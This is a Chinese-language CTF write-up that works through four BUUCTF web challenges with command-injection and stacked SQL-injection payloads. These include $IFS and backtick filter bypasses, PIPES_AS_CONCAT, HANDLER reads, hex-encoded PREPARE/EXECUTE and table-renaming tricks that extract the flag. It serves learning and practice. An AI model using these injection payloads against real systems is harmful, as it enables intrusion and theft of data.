buuctf web 第五到八题

[ACTF2020 新生赛]Exec

这里属实有点没想到了，以为要弹shell，结果不用

127.0.0.1;ls /

PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

127.0.0.1;tac /f*

[GXYCTF2019]Ping Ping Ping

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

?ip=;cat$IFS$1`ls`
这里看源码就已经出了

慢慢手测出来的

?ip=;t=g;cat$IFS$1fla$t.php

[SUCTF 2019]EasySQL

堆叠注入

1;show tables;

知道表名如何查询呢

select $post['query']||flag from Flag

是不是有了这个就很明了了

1;select *,1

select 1;select *,1||flag from Flag

select 1;select *,1 from Flag    查询出flag

mysql配置

SQL_MOD：是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符，而不是或运算符，这时||符号就像concat函数一样。

1;set sql_mode=PIPES_AS_CONCAT;select 1

此时

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

select 1;set sql_mode=PIPES_AS_CONCAT;select concat(1,flag) from Flag

[强网杯 2019]随便注

堆叠注入

1';show databases;

1';show tables;

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

1';show columns from `1919810931114514`;

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

新姿势handler

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

相当于是打开文件，然后取别名

新姿势 16进制

select * from `1919810931114514`

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare love from @a;execute love;#

prepare…from…是预处理语句，会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。

上面这两个相当于组合拳
先用个别名把sql查询语句替换了，用来绕过，然后进行执行

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

新姿势 rename and alter

这个东西不算新，但是我从来没有用来注入过

1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

字符集（Character Set）：utf8
UTF-8（Unicode Transformation Format - 8-bit） 是一种针对Unicode的可变长度字符编码，能够表示世界上大多数书面语言的字符，包括拉丁字母、中文、日文、韩文等。每个字符可以由1到4个字节组成，根据字符的实际Unicode码点决定。
在数据库中使用UTF-8字符集 意味着你可以存储几乎任何语言的文字，这对于国际化应用特别重要，因为它确保了多语言数据的兼容性和一致性。

排序规则（Collation）：utf8_general_ci
排序规则 定义了如何对字符进行比较和排序，包括大小写敏感性、重音符号的处理、以及特殊字符的排序顺序等。
utf8_general_ci 是UTF-8字符集下的一种常见排序规则，其中：
general 表示这是一个通用的排序规则，适用于大多数情况。
ci 是“Case Insensitive”的缩写，意味着在比较和排序时忽略大小写。例如，在这种排序规则下，“a”和“A”会被视为相同。

我看了一下payload其实不用写那么那么长，我们等会查询就是靠万能密码把所有东西给带出，那么本来words表里面有id,那么我们重命名flag为id将其带出即可

1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

1' or 1=1;#